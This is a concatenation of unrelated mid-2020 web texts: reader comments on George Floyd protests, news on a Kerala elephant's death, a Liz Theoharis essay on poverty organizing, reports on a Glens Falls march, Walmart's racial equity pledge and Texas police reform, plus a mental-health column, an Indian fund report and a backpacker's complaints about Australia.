The problem is when they peacefully protest, sign petitions, donate money, and more. The government doesnt listen to us. They push it aside until something else is trending worldwide. No justice is given to our people and the police officer who committed cold-blooded murder walks off with paid leave. Ready to brutally assault or kill another black man or woman. This time the black community said no. We are sick of hearing the same story but a different person. Exhausted of being sick and tired. Tired of constantly looking over our shoulders and worrying about our brothers, sister, mothers, fathers. Our families. Not knowing if that police officer is a good cop or bad cop. The death of George Floyd was the tip of the iceberg. We want justice for George Floyd, Tamir Rice, Trayvon Martin, Breonna Taylor, Ahmaud Arbery, David Mcatee, and etc. I agree with you when you say not to loot and steal. But, what is going to get your attention to make a change to the way cops abuse their power and choose to hurt/murder our people. Also, remember Looters are looting and Protests are protesting. I am sorry your friend is feeling scared and anxious during this time. But I feel that constantly as a Black woman. Every time I step out the house not knowing whether or not I will live to see another day.  Mehaad Bahar, J.R. Masterman

It is my personal belief that George Floyd deserves justice for his death, however, protesters are not going about the right way to do it. Many protests quickly turn into riots and this is neither honorable to George Floyd, or creditable to anti brutality or black lives matter movements. What kind of reputation is earned by vandalizing a city? What does this do to effect police brutality? This could possible cause police to feel hostel towards people who support these movement and possible create more profiling. Protesters should find a new way to bring social justice and honor George Floyds name.

 Cannon, Houston

@Cannon While I do not celebrate or encourage the riots, I believe that they are effective. You commented that protesters should not go about protesting this way, but what is the right way to protest? Is there a right way to protest? We have seen backlash from Colin Kaepernicks kneel, Lebron James speaking out (shut up and dribble), and many peaceful protests are also criticized. Even when protesters want a peaceful protest, police and aggravators escalate the protests into violent ones. Rioting is an effective tool for protesting as seen with the Civil Rights Movement and evening the Boston Tea Party. It also demonstrates that society cares more about the looting of material goods than the lives of African Americans. Its also important to note the difference between a protester and a looter. The Black Lives Matter movement is not supporting or encouraging looting. There are also a plethora of videos showing police and white supremacists destroying property and blaming it on the protesters. Also, while we are quoting MLK, he said, A riot is the language of the unheard. It is time for us to listen and act.  Laura, Hawaii @Laura Does that mean that you have to penalize small business owners who arent racist? Does that mean you have to destroy other peoples livelihoods? Does that mean that you have to force people to go into unemployment? Black lives matter, and right now, one of the ways to improve the black living conditions is to lift a lot of them out of poverty. Destroying businesses is not going to do that. Neither is destroying your city.  Andrew, Maryland, USA

Observations From Around the World
On Monday, Donald Trump made it clear that his tiny quota of patience was running out. If a city or a state refuses to take the actions that are necessary to defend the life and property of their residents, he warned, then I will deploy the United States military and quickly solve the problem for them. He has in mind going beyond the traditional use of the National Guard in favor of active-duty troops.
Kerala forest minister K Raju on Friday said that one person has been arrested in connection with the tragic incident in which a pregnant wild elephant suffered a painful death in the state after consuming a fruit laced with explosives.

The arrested man is reportedly employed in a nearby farm that cultivates cash crops and spices. The elephant was spotted near the farm before its death. While questioning a few farmers, the investigative team got information related to the use of explosives. According to police sources, the man has confessed to aiding the commission of offence.

The minister said more arrests will be made by the evening. The action will not stop here as there are more people involved. Police and Forest department are carrying out effective investigation, K Raju said.

On Thursday, Kerala Chief Minister Pinarayi Vijayan said justice would prevail and said an investigation is underway and is focusing on three suspects. "The police and forest departments will jointly investigate the incident. The district police chief and the district forest officer visited the site today. We will do everything possible to bring the culprits to justice," he said in a tweet.

He said three suspects are under the scanner of teams probing the gory death of the animal. Personnel of Kerala police and the forest department's Crime Investigation Team, probing the incident which triggered widespread outrage especially on social media, visited the spot and collected evidence, Vijayan said, assuring that all concerns raised will not go in vain and justice will prevail and the culprits brought to book.

Forest department sources said the three suspects were being questioned and a search was on for two more people in connection with the case.

Principal chief conservator of forest and chief wildlife warden Surendra Kumar told News18 the elephant being fed a pineapple filled with crackers is just one of the possibilities, which has not been ruled out. We don't have evidence of that yet, he said.

The elephant suffered an injury in her lower jaw reportedly after she ate a pineapple stuffed with crackers which exploded in her mouth on May27. She later died, while standing in the river Velliyar.

Its jaw was found broken. The cruelty of the act has caused global outrage and led to the Kerala forest department launching an investigation. The central government also ordered a probe into the incident.
Yves here. The poor keep getting ground further down as income inequality widens. It used to be that even well off people were grounded in communities and therefore would have some exposure to them. Now the wealthy and even the upper middle class live at such a remove from the lower orders that its easier in the past to take no interest in them and view them as having gotten what they deserve.

Liz Theoharis argues for more bottoms-up approaches rather than begging for crumbs from the tables of the wealthy. And as the ranks of the poor are about to include growing numbers of the recently middle class, both the raw numbers and organizing dynamics are changing.

By Liz Theoharis, a theologian, ordained minister, and anti-poverty activist. Director of the Kairos Center for Religions, Rights, and Social Justice at Union Theological Seminary and co-chair of the Poor Peoples Campaign: A National Call for Moral Revival, she is the author of Always With Us? What Jesus Really Said About the Poor. She teaches at Union Theological Seminary in New York City. Originally published at TomDispatch

In the summer of 1995, when I was 18, I started visiting Tent City, a temporary encampment in an abandoned lot in northeast Philadelphia. About 40 families had taken up residence in tents, shacks, and other makeshift structures. Among them were people of various races, ages, and sexual orientations, all homeless and fighting for the right to live.

Tent City was set up by the Kensington Welfare Rights Union (KWRU), a grassroots organization of poor and homeless people and a chapter of the National Welfare Rights Union. As in so many other areas of the country, homelessness in Philadelphia, a city battered by decades of deindustrialization, job loss, and affordable housing cuts, had become endemic. Although they were still living in what had once been the center of the northeast industrial corridor, many in Philly, especially the residents of Kensington, had been reduced to two main sources of income: welfare and drugs. A teenager might have stood better odds of going to jail or being shot than graduating from Kensington High. More than 40% of the population in the area had to break the law simply to survive. Police brutality was rampant.

Federal and municipal welfare systems were being stripped of funds being funneled into the private sector. City officials assured those of us who protested that there was simply too much need and not enough resources. Even the local paper accused us of engaging in homeless hype  being too disruptive in our public demonstrations and acts of mutual solidarity  when the people of Kensington really needed peace and quiet, law and order. At that time, however, there were an estimated 27,000 homeless people in the city and 39,000 abandoned houses.

In that small Tent City lot, poor people were exposing the citys claim of scarcity as a myth. Families who moved there with close to nothing were quick to discover American abundance. Residents shared their food stamps, while individuals, community groups, and religious congregations all made donations. Soon, the abundance was such that hundreds of hungry families started turning out every week to be fed with the surplus food.

Tent City became more than another encampment on the margins of American life. It was a center of political life for Philadelphias poor, as well as a strategic organizing base for sustenance and protest. In the winter, as rats the size of cats arrived, the encampment moved to an abandoned Catholic church, a project the KWRU labeled the new Underground Railroad. Just as enslaved people once had to break the law to bust out of the system of slavery, poor and homeless people needed a growing civil disobedience movement to survive.

I think about Tent City often in these pandemic days of spiraling poverty and inequality, as protesters in cities across the country question the legitimacy of a system that devalues life, especially black lives, native lives, immigrant lives, and the lives of the poor. Unemployment is now at 41 million and so at Great Depression levels; the shantytowns that spread across the country in the worst years of the 1930s should remind us that mass homelessness exists just on the other side of mass unemployment.

Last week, for instance, Covid-19 moratoriums on eviction began to expire and, in my childhood hometown, Milwaukee, Wisconsin, upward of 40,000 eviction notices are poised to be sent out. Meanwhile, the government has blundered through a string of relief packages that have injected trillions of dollars into Wall Street while excluding millions of people from even the most basic stop-gap protections. In the midst of federal incompetence and outright abandonment, staggering numbers of Americans, children included, are desperate for support and real relief.

This society has long suffered from a kind of Stockholm syndrome: we look to the rich for answers to the very problems they are often responsible for creating and from which they benefit. The wreckage of this pandemic moment is a bitter reminder of this affliction, as well as a signpost suggesting how we must emerge from this crisis a just and more equitable nation. With a possible depression ahead and more social unrest on the rise, isnt it time to stop vindicating the wealthiest people in this country and look instead to leadership from those who were living in a depression before Covid-19 even hit and already organizing and protesting?

The Poor Organizing the Poor

Heres a story from a long-ago moment thats still relevant. Two months before his assassination in 1968, Dr. Martin Luther King, Jr., travelled to Chicago, to enlist the women of the National Welfare Rights Organization (NWRO)  the predecessor to the National Union of my day  into the Poor Peoples Campaign. As he walked into a conference room at a downtown Chicago YMCA, Dr. King encountered more than 30 welfare rights leaders seated strategically on the other side of an exceedingly large table. One of his advisers later noted that the womens reception of the southern civil rights leader was a grand piece of psychological warfare.

Representing more than 30,000 welfare-receiving, dues-paying members, they had not come to passively listen to the famed leader. They wanted to know his position on the recent passage of anti-welfare legislation and quickly made that clear, pelting him with questions. Dr. King felt out of his element. Eventually, Johnnie Tillmon, the national chairwoman of the NWRO, stepped in. You know, Dr. King, she said, if you dont know about these questions, you should just say you dont know and then we could go on with this meeting.

To this, Dr. King replied, We dont know anything about welfare. We are here to learn.

That day, Dr. King would learn much about the long struggle those women had waged for dignity in the workplace and the home. They taught him that programs of social uplift should be a permanent right and that the welfare system of the mid-twentieth century, much like our own, was structured as a public charity that callously differentiated between the deserving and undeserving poor. They introduced him to policy proposals that were generations ahead of their time, including a demand for a Guaranteed Adequate Annual Income, or what many now call a Universal Basic Income (UBI).

Four months into the Covid-19 crisis, with this country already afloat on a sea of inequality that would have been unimaginable even to those women in 1968, a sea change in public opinion may be underway when it comes to whats necessary and possible. Ideas that only a few years ago would have been considered unimaginable like universal healthcare, guaranteed affordable housing, and debt relief are now breaking into the mainstream. Dont think, however, that such policy positions, like the idea of a UBI, have materialized on Capitol Hill and in beltway think tanks out of thin air. They are, at least in part, the result of long-term agitating, educating, and organizing led by the poor themselves.

Those of us in the welfare rights movement always saw our work as the kindling for a wildfire of organizing by the poor and dispossessed. Our projects of survival, like Tent City, were not just about housing and feeding people. They were also about securing the lives of those committed to building the kind of movement necessary to transform society. Projects organized around immediate needs also became bases of operation for policy analysis and future plans.

Such projects, however, were beachheads meant to rally the larger society, as the ranks of the poor grew around us, to create lasting change for them. Perhaps it should be no surprise, then, that this novel pandemic has already galvanized bold collective action on the part of the poor and the precarious. For every sparsely attended reopen protest at a state capital by armed members of Donald Trumps base, hundreds of new mutual-aid networks, ad-hoc tenant associations, and wildcat strike funds have been organized for those at the base of this society. Meanwhile, thousands of protestors have taken over streets in cities all across the country resisting racism and inequality.

Entire communities that are out of work and losing income are taking life-saving action that is also at times, and by necessity, in contradiction to the law. Despite recent media images of vandalism, todays protest movement features countless acts that add up to projects for survival.

In April and May, millions did not pay rent, echoing that most basic of economic principles: those who cant pay wont pay. Indeed, such rent strikes and other protests speak to an essential demand for temporary relief in the midst of a crisis of unparalleled proportions, but they also signal potential new directions for millions of people who, if offered a political home that articulates their desperate needs and demands, might, against great odds, begin to find common cause.

The Rich Organizing the Rich

If this crisis is opening up new possibilities for organizing among the poor, however, the same is true for the rich. Since mid-March, the fortunes of the 600-plus billionaires in the United States have jumped by $434 billion, or 15%. In the CARES Act that Congress passed, legislators slipped in a tax break of $135 billion for 43,000 of the countrys wealthiest business owners. (And, of course, you need to add this to the unprecedented redistribution of wealth from the poor to the very rich that happened via the $1.5 trillion Trump tax cut of 2017.)

This pandemic has already been very profitable for a very few. It should be seen as one benefit from a long-term organizing campaign of the rich that has included crushing the labor movement, consolidating industry, financializing the economy, and what one historian has dubbed a decades-long tax strike. By now, of course, the story of widening inequality in this country has become a familiar one, but that doesnt make it any less shocking. In 1983, median household wealth in the United States was $84,000. Thirty-seven years of growing inequality later, it sits at $82,000. Meanwhile, as a point of comparison, the total wealth of the Forbes 400 was $92 billion in 1982. Now, its $2.89 trillion.

Behind this staggering and rapid accumulation of wealth rests a deep and abiding belief in recent decades that the rich are the engine of the American economy and so the deepest source of societal wellbeing. In this Covid-19 crisis, evidence abounds that such a faith, which emerged fullblown during the presidency of Ronald Reagan in the 1980s, remains, for now, bipartisan and largely unshaken. The CARES Act caught its spirit exactly, managing to direct most of its money to Wall Street and hundreds of millions more to the police, while leaving millions of workers lacking paid sick leave and the uninsured, the homeless, undocumented immigrants, and many more in the lurch.

While the HEROES Act, recently passed by the Democratic majority in the House of Representatives, offers improvements on this, many of which are guaranteed not to make it through the Senate, there are once again striking windfalls for the rich embedded in the bill. Within its 2,000 pages is funding for lobbyists, mortgage servicers, and private insurance companies. It does nothing to prohibit the corporate mergers that have produced bigger and more powerful monopolies in other moments of crisis in the recent past. It extends COBRA, a federal program that enables workers to temporarily keep health coverage on their own dime after their employment ends, and again directs vast sums of money to the private insurance industry, instead of expanding Medicaid and guaranteeing healthcare during the most devastating public health crisis in a century.

Meanwhile, at the state and local level, politicians on both sides of the aisle have refused to touch the wealth of the rich, even as they have decried their budget shortfalls, while managing this crisis largely via the playbook of austerity and readying themselves for social unrest. New York State, for instance, passed a budget that will cut $300 million from public hospitals but increase funding for the police. Likewise, the Washington State legislature has been lauded for the bipartisanship it demonstrated recently in putting through deep budget cuts. In no case have legislators chosen to tax their wealthiest residents, nor let up on policing and other forms of control. And Washington is home to Bill Gates and Jeff Bezos, at present the two richest people on the face of the Earth.

Of course, the workers who are actually keeping the nation afloat will suffer the most from such cuts. They may now be called essential, but they continue, as ever, to be treated as expendable appendages of the economy.

How to Revive American Society

I recently wrote a piece with the subtitle How to Destroy American Society from the Top Down. The answer remains painfully simple: this country courts destruction as long as the rich are allowed to organize society around their lives and needs.

From my first moments working at Tent City through my 25 years of grassroots organizing, Ive come to see that inverting that subtitle in a positive fashion is crucial to our survival as a nation. Any true revival of American society depends on collective action by those most impacted by injustice and by the willingness of the rest of society to follow their lead. From the abolitionism of the pre-Civil War era to the labor movement of the 1930s and the Civil Rights Movement of the 1960s and beyond, people on the receiving end of injustice have done best when they didnt wait to be saved but, born out of necessity, took heroic action themselves.

When the Kensington Welfare Rights Union declared that we were building a new Underground Railroad in Philadelphia in the 1990s, we were doing more than just invoking a powerful chapter in the history of the abolition of slavery. We were implicitly challenging the dominant notion of who the agents of change in our society should be. We recognized, even then, that in the lessons Americans were taught about that history, enslaved people were often conspicuously missing in action from the story of abolition. We saw in that Underground Railroad a way for slaves to escape the grips of the system that was oppressing them, something far larger than just a physical pathway to freedom. We imagined it as a significant political project of the past exactly because it was one way the poor and enslaved of another era struck the first blows against a brutal and inhumane system.

Today, there is a freedom railroad rumbling underground, all around us. It has stops in the Amazon warehouses and the fast-food restaurants where low-wage workers are organizing for better wages and conditions; in immigrant communities that are protecting themselves against ICE raids in the midst of stay-at-home orders; in cities where people are winning moratoriums on water and utility shut-offs; in housing developments and hospitals where thousands are insisting that housing and healthcare are human rights.

You can hear it in the recent slogan  stay in place, stay alive, organize, and dont believe the lies  of the Poor Peoples Campaign that I co-chair, which has called for noncooperation with decisions to recklessly reopen states for business, putting the poor and sick most directly in harms way. You can see it in the tens of thousands of people protesting across the country, refusing to be subdued by years of racism and police violence, people who are demanding full justice and the right for all of us, but especially repressed black lives, to survive and thrive.

In a moment from hell, there is only one meaningful way to revive American society: from the bottom up.
GLENS FALLS  Invoking the name of George Floyd and chanting Black Lives Matter, more than 2,000 marched from City Park to Crandall Park Friday afternoon, the latest in numerous demonstrations around the Capital Region that call for change in how law enforcement, and the nation, treats people of color.

Led by a group of local young people from Glens Falls and surrounding communities, the peaceful march, which began at 12:30 p.m. and included some heavy police presence, featured a voting drive, free water and pizza, music and speeches from those who want to see change and those who experience the pain of racism. By around 3:3o p.m. the speakers continued, but the crowd had dwindled to 300 to 400 under the hot June sun.

Jabes Prado of Fort Edward was among those who spoke. He urged schools to require educating all students on racism so that he no longer has to worry about his children being targets of racist slurs or police bias.

"Racism is way too common," Prado said. Lessons about it have "to be taught in the classroom. It has to be required to graduate. The majority of us don't want to see hate in the streets, hate in the schools. We need real reform."

He said minorities need to be hired on the police force. He was also among those who said that he is tired of asking for the same thing over and over again  equity and justice.

The mostly white crowd, who promised to carry no weapons and respect everyone even those they disagree with, heard how black people want their children to live in peace and safety. As the stream of speakers urged change, many in the crowd held their fists in the air or took a knee.

One man erected a painting of Floyd, the black man who died after a police officer held a knee on his neck for nearly nine minutes in Minneapolis on May 25, at the city's Civil War monument. Joseph Garcia then promised to stay on his knee for the duration of the protest. By 1 p.m., he needed help from a friend, Hayden McCann, to help him remain stable.

"I'm staying on my knee to suffer for all those who suffered before me," said Garcia who lives in Lake George. "I'm acknowledging my privilege and their sacrifice."

The march also included many clergy who prayed for peace and unity.

Like marches and rallies that have occurred in the city before, counter-protesters were expected. Some on social media had vowed to bring guns to protect the city from looters. Yet the afternoon and evening remained peaceful with a combination of city police, Warren County Sheriff's deputies and State Police.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

Warren County Sheriff's Lt. Steve Stockdale said the coordinated presence, including several vans of State Police K-9 units, were there to ensure that once it grew dark, the city would be safe.

Organizer Marissa Ray of Hudson Falls said that the police worked closely with her to keep the peace. There was concern, however because during previous demonstrations in Glens Falls city police have been slow to put down clashes between those protesting President Donald Trump's policies and counter-protesters who support the president.

Ray said she hopes everyone feels safe enough to come to support the Black Lives Matter movement.

"I couldnt imagine it would not matter to somebody," Ray said. "People should not be treated differently because of the color of their skin."
I have a vivid memory of the Sept. 11, 2001, terrorist attack, where I was and what I was doing when the planes crashed into the World Trade Center.

I recall the aftermath that swept through our Nation, the loss, trauma, the overwhelming feeling of insecurity everyone around me was feeling and the worry that this could happen again. I heard and read about the factors of exposure, loss of life of significant others and social isolation and how individuals were affected. In the days to follow, many including first responders experienced depression, generalized anxiety disorder, substance abuse and some long-lasting PTSD. But the memory that stands out the most in my mind was seeing and hearing the stories of people who in spite of the trauma displayed remarkable resiliency.

Over the past few months, people across the world have faced a different type of terrorist, Covid-19. Similarly, the pandemic has brought about loss of life from exposure, feelings of anxiety, insecurities and trauma. Whereas 9/11 happened in a distant area of the Country, coronavirus is happening in communities throughout the U.S., to individuals and families living, working and raising children in Madison County.

In my 30 years working in mental health, I have not experienced the level of consciousness raised on personal mental health. This consciousness has created a new lens, looking at how to become mentally healthy. As we witnessed the strength of individuals, resiliency and recovery in 9/11, there are ways to build emotional resilience. Resilient people can find a way to move beyond the current circumstances, change course, emotionally heal and continue moving forward (APA).

There are a few healthy practices that can help you be resilient. Physical wellness, exercise, healthy eating and adequate sleep reduce stress and build resiliency. Connecting with others, those natural supports where you have positive relationships, family and friends or look to community and organizations where individuals share common experiences or feelings. Find purpose, you can accomplish this in a number of ways. This can be very individual, something as simple as reaching out to someone else in need, calling an isolated senior or giving your time volunteering at a drive-thru food pick up.

This generates a feeling of purpose that you are contributing a solution to a problem that exists. Changing or stopping negative thinking by embracing healthy thoughts can be difficult but can improve how you feel. Try not to catastrophize, try to find balance in realistic thinking. Practice being in the moment with your thoughts, try not to think about future or potential difficulties that will add emotional stress.

While these practices can help build resilience, sometimes issues feel so overwhelming that it is hard to get centered. Stigmas about mental health have been an enemy discouraging seeking help for too long. When stressed asking for help can be the most powerful thing you can do to cope today and in the days to come. Reach out to a mental health professional, seek guidance and support.

Deborah Humphrey, MBA, BSN, RN is the Executive Director of the Madison County Mental Health Board. She has over thirty years of experience in behavioral health and twenty years working with County Government in her previous Mental Health Board position. She has been the President of the Association of Community Mental Health Authorities of Illinois which is a membership of organizations representing County Mental Health Boards throughout Illinois. She has been commissioned by the Governors to serve statewide on the Illinois Childrens Mental Health Partnership; she has been a member of the Southern Illinois University, Edwardsville, School of Social Work Board; and she has been a leader in local boards, advisory councils, committees and workgroups working to advance and enhance behavioral health services in the Metro East.
Walmart Chief Executive Doug McMillon said Friday the country's top CEOs will look for ways to address racial inequities that span society, from how the world of finance works to how police treat black Americans.

In an interview on CNBC's "Squawk Box," McMillon said the death of George Floyd, an unarmed black man pinned down by a Minneapolis police officer who kneeled on his neck, has prompted new urgency to do more than just donate money. McMillon, who is chairman of the Business Roundtable, announced the group of business leaders will form a special committee to advance racial equality and justice solutions.

"What we see is a moment here, a moment where we can make a bigger difference," he said.

In cities across the country, hundreds of thousands of protestors have marched in the streets and called for the end of police-involved killings of blacks. The coronavirus pandemic has underscored and exacerbated racial disparities, too.

Covid-19 has killed at least 22,204 black people in the U.S., according to the COVID Racial Data Tracker. Black Americans have made up 24% of the country's coronavirus deaths where race is known, but account for only 13% of the overall population.

The economic fallout has disproportionately hurt black Americans, too. The unemployment rate among black Americans was 16.7% in April  higher than the overall rate of 14.7%.

Business Roundtable will be studying a problem that's clear, even in its ranks. Like in many C-suites across the U.S., the vast majority of its members are white and male. Only four Fortune 500 companies are led by black chief executives.

McMillon said companies represented in the Business Roundtable have worked on diversity and inclusion initiatives. Now, though, he said, it's time to do more.

"There's this moment here where the country is experiencing horrendous pain as a result of what happened with George Floyd's murder and all of us seeing that on TV, but we all know that that was just one isolated event of many," he said. "This isn't about just one tragic event. It's about what's happened in our country for a long, long time and what's happening today."

He said corporations' charitable giving is important, "but that's not enough."

"This conversation's got to be longer-term and more lasting," he said. "When we have events like this, sometimes there's a surge of energy and passion and emotion and people will give money, which again is good, but then we get distracted and we move on to something else and the lasting change doesn't happen because we didn't do the work to get through complexities."

McMillon said he will meet Friday with Walmart employees to discuss how the retailer will advocate racial equity and justice within the company and beyond it.

In an email to employees Friday, he said the company and the Walmart Foundation will commit $100 million over five years to create a new center on racial equity. He said the center "will seek to advance economic opportunity and healthier living, including issues surrounding the social determinants of health, strengthening workforce development and related educational systems, and support criminal justice reform with an emphasis on examining barriers to opportunity faced by those exiting the system."

He said Walmart will step up recruitment of and support for people of color, including African Americans.

"We've made a difference in the world in so many ways," he wrote. "We can make a meaningful, lasting difference in racial equity, too."

With the Business Roundtable, McMillon said the special committee will focus on racial equality in four primary areas: finance, health care, education and workforce, and criminal justice. Some of the country's biggest corporate names will lead the effort, such as JPMorgan CEO Jamie Dimon heading up the finance area and AT&T CEO Randall Stephenson leading the criminal justice area.

Last year, the group issued a statement that defined the "purpose of the corporation" differently and said shareholder value is not the singular focus.

"While each of our individual companies serves its own corporate purpose, we share a fundamental commitment to all of our stakeholders," said the statement signed by 181 CEOs. "We commit to deliver value to all of them, for the future success of our companies, our communities and our country."
Warren Buffett once said  Be Fearful When Others Are Greedy and Greedy When Others Are Fearful. Well, it looks like mutual funds took that advice and used the recent sell-off to add stocks to their portfolio. Fund managers raised stake in as many as 290 companies among the S&P BSE500 index even as 240 of them (or nearly 50%) gave negative returns in 2020 YTD. Indian market fell by about 30 percent in the March quarter and about 18 percent in 2020 YTD, as of data collated on June 2. Of the 240 stocks that have given negative returns, as many as 34 have fallen more than 50 percent, including SBI, Ashok Leyland, L&T Finance Holdings, PNB Housing, Canara Bank, and Future Retail, and Gayatri Projects etc. among others. Close Related stories Emerging market equities seen to give the best returns in 2022

SEBI's amended skin-in-the-game rules only add to the confusion

Chart of the Day | Global fund managers allocation to EMs drops on China scare There are several stocks where mutual fund managers have raised stakes. Fund managers have definitely used the opportunity to raise stake as most of the stocks were available attractive valuations backed by strong fundamentals, Gaurav Garg, Head of Research at CapitalVia Global Research Limited  Investment Advisor told Moneycontrol. Investors should look for stocks where there has been a consistent rise in stakes as they may indicate healthy earnings growth and sustainable performance of the company, he said.





Over 160 companies in which MFs reduced stake: There are almost 164 companies in the S&P BSE 500 index in which fund managers decreased their stake in the March quarter. As many as 133 out of 164 companies have given negative returns up to 80 percent that includes names like Repco Home, Dish TV, Shoppers Stop, Canara Bank, PNB, data from AceEquity showed. The list includes mostly financials, retail, NBFCs, construction, and auto stocks which saw a cut in the holding from fund managers. Experts are of the view that fund managers have reduced their stake in the above-mentioned sectors due to major concerns about NPAs, suggest experts. Fund managers have used this downturn to focus on companies and sectors which were assumed to be the biggest beneficiary in this pandemic, Rahul Sharma, Head of Research, Equity99 Advisors told Moneycontrol. "Also, fund managers are shifting their bets more index-heavy stocks to align their fund returns with the market. NBFC, constructions, auto, and retail were few of the sectors which have been impacted by the recent slowdown and furthermore due to pandemic, he said.
An American backpacker has posted a rant where he lists 10 things he has come to hate about Australia since arriving last year.

Tristan Kuhn noted in a YouTube video uploaded on Monday the things he thought Australia could improve on, including annoying flies, lack of free drink refills and slow internet.

The 22-year-old entered the county in October last year and throughout his time spent in Cairns, Adelaide, Melbourne and Tasmania, he has developed a host of pet peeves.

Mr Kuhn, who has 2,300 subscribers, complained about Australia having extra strong stinging sun compared to what he was used to in the United States.

The sun here is much more strong, it burns you way more quicker than anywhere in the States. If I go in the sun here anywhere from 30 minutes to an hour, Im going to be pink, he said.

Tristan Kuhn didn't hold back when it came to his rant on things he didn't enjoy about Australia. Source: YouTube/Tristan Kuhn

Having to walk inside a petrol station to pay for fuel was another one of Khuns top grievances, arguing it was painful having to wait in line with other customers when he was used to paying at the bowser.

He said in the US it was acceptable to turn at an intersection when a traffic light was displaying a red signal, so he found it frustrating he couldnt do the same in Australia.

Nothing is more frustrating than being stuck at a red light, knowing that you are perfectly safe to turn left, there are no cars, but youre not able to do it, he said.

Something Khun argued would piss Americans off was a lack of access to free drink refills at restaurants.

All you Americans out there that like your refills, be thankful that youre in America because theres pretty much nowhere else in the world that does that, he said.

Khun expressed a passionate hatred for law enforcements placement of speed cameras everywhere and claimed that drivers would be fined for going just three kilometres an hour over the limit.

Story continues

10 things US backpacker hates about Australia

The strong stinging sun

Having to pay for fuel inside petrol stations

Not being allowed to turn on a red signal

Speed cameras being everywhere

Lack of free drink refills

Slow public and private internet

Paying for sauce with meal

Having to wear a bike helmet

Expensive alcohol and tobacco

Annoying flies

You cannot speed here in Australia. You can argue that speed cameras keep people safe... but I just dont think thats reasonable. To me, its a little bit of an overstep from the government, he said.

I dont like the feeling of being surveyed everywhere and having cameras all around me, and thats just one thing I dont really agree with.

Australian internet speeds disappoint

Australia may have been where Wi-Fi was invented, but Mr Khun said the standard of WiFi had simply not lived up to his expectations.

The WiFi here as a whole is just kind of s****y, like its not complete crap, but its definitely much worse on average than it is in the US, he said.

The quality of public WiFi available for free through some businesses was not comparable to that in the US, where according to Khun download speed was generally far quicker.

Even if youre paying for your own internet and the fastest WiFi that you can get, youre still going to have really slow upload speeds, so you have to pay extra on top of whatever you get to have a fast upload speed, he said.

Uploading a video to YouTube in Australia apparently takes him five to seven hours, whereas in the US it would usually take between 20 to 30 minutes.

Paying for condiments was another thing the backpacker was not impressed at having to do in Australia, arguing that the extras were usually handed out for free in his home country.

Its usually quite expensive for some sauce, youre going to be paying between 50 cents and $2 for a little bit of sauce...that definitely frustrates me, he said.

Not wearing a helmet while riding a bicycle being illegal was something else he wasnt a fan of in Australia, arguing that adults should be trusted to make their own decisions about their safety.

I think I should be able to choose whether I wear a helmet or not. Im an adult, I think most adults should be able to make decisions like that, he said.

Mr Khun said the high tax on alcohol and tobacco was another cause of annoyance in Australia, and an issue other Americans were likely not to be too keen on.

Its going to be two to three times more expensive to get cigarettes and alcohol here than it is back in the US, he argued.

Pesky and annoying Australian flies

The final biggest source of irritation for Mr Khun in Australia was the flies  a frustration widely shared by Australians too.

They are so pesky and annoying here. The bugs in general get in your face  theyre annoying, but the flies are aggressive, they just attack you...you cannot get rid of them, he said.

Despite the extensive list of problems Khun has noted throughout his short stay in the country, he said I still fricken love Australia, and he wouldnt be here if he didnt.

I dont hate Australia for these things...these are just some ways I think Australia could improve.

Do you have a story tip? Email: newsroomau@yahoonews.com.

You can also follow us on Facebook, Instagram and Twitter and download the Yahoo News app from the App Store or Google Play.
The renewed energy around criminal justice reform inspired by George Floyds death at the hands of police in Minnesota has Texas state lawmakers optimistic that they can pass more police accountability laws next legislative session.

Key among those will be strengthening the 2017 Sandra Bland Act, which made de-escalation and crisis intervention training mandatory and required officers to document all traffic stops even when no arrest is made among other provisions.

But the bill was stripped last-minute of a measure to limit arrests for offenses punishable only by fines. Bland, 28, was arrested and jailed after being pulled over for failing to use her blinker as she changed lanes in 2015; she was found dead by suicide in her county jail cell just days later.

REVEALED IN 2019: Sandra Blands own video of 2015 traffic stop outside Houston surfaces

Lawmakers in 2019 tried to revive the limitation on arrests but faced steep opposition from police unions and lost support from some Democrats who disagreed with parts of its language that they felt gave police too much discretion.

This time around, however, Gov. Greg Abbott is already speaking publicly in support of legislation that would prevent a death like Floyds from happening in Texas, which he called a horrific act of police brutality in a news conference Tuesday.

State Rep. Garnet Coleman, the Houston Democrat who authored the Sandra Bland Act, was listening.

When Sandra Bland happened, we didnt have Gov. Abbott coming out and saying that this was appalling, said Coleman, a member of the newly formed bipartisan House Criminal Justice Reform Caucus. We do on this case. Across the country, people who ordinarily would not side with the protesters in terms of what happened, they are. We have peace officers kneeling with protesters saying enough is enough.  Thats the great thing about life. Things can evolve.

IN-DEPTH: As police chief urges meaningful reform, critics wonder why its missing in Houston

Now Playing: Cellphone video recorded by Sandra Bland, a black woman found dead in a Texas jail in 2015 following a confrontational traffic stop, shows for the first time her perspective as a white state trooper draws his stun gun and points it at close range while ordering her out of the car. Video: Investigative Network

Sharon Cooper, Blands sister and family spokeswoman, said the family is devastated by the loss of Floyd and other black Americans who continue to die at the hands of law enforcement due to brute force and systemic racism.

But, she said, theyre also hopeful.

Preservation of your loved ones legacy following their public and untimely, tragic passing is complex, so furthering Sandras message of social advocacy and change through legislation that prioritizes law enforcement accountability is critical for our family, Cooper said in an email interview.

Cooper said they hope to see provisions from the original Sandra Bland Act restored in future legislation, such as one that prohibited pretext stops in which an officer makes a traffic stop to investigate other suspected criminal activity based on reasonable suspicion.

RESIGNATION DEMANDED: George Floyd  a staged event, says Bexar County GOP Chair Cynthia Brehm

The Sandra Bland Act has already seen some early success: According to the Texas Commission on Jail Standards, the number of annual suicides declined by 50 percent from 35 in 2015 to 17 in 2018 after the implementation of new standards for mentally ill inmates and independent investigations of jail deaths

Rep. Jeff Leach, R-Plano, who leads the House Criminal Justice Reform Caucus, said he also hopes to bring back discussion of the misdemeanor arrest restrictions missing from the Bland Act, as well as reforms of grand juries and the death penalty.

Its just a nightmare scenario with not only Mr. Floyds death but all of the stories  theyve got to compel us not just to say the right things but to do the right things, Leach said. So, yes, my hope is that we will come together quickly and act, and I think youre going to see the House and Senate do that next session.

PETER VAN AGTMAEL, STR / NYT

Other reforms lawmakers said theyd like to revisit in 2021 include deeper training on racial bias, stronger laws to prevent racial profiling in arrests and, like the Blands, ending pretext stops.

The next legislative session doesnt begin until January, but lawmakers say they dont want to wait that long.

Police union opposition

While COVID-19 complicates matters, members of the criminal justice reform caucus said they expect to hold public hearings in some format in coming months.

Abbott has championed certain criminal justice reform causes in recent years and has signed a number of bills advancing the cause. Still, he and advocates have not always been on the same page.

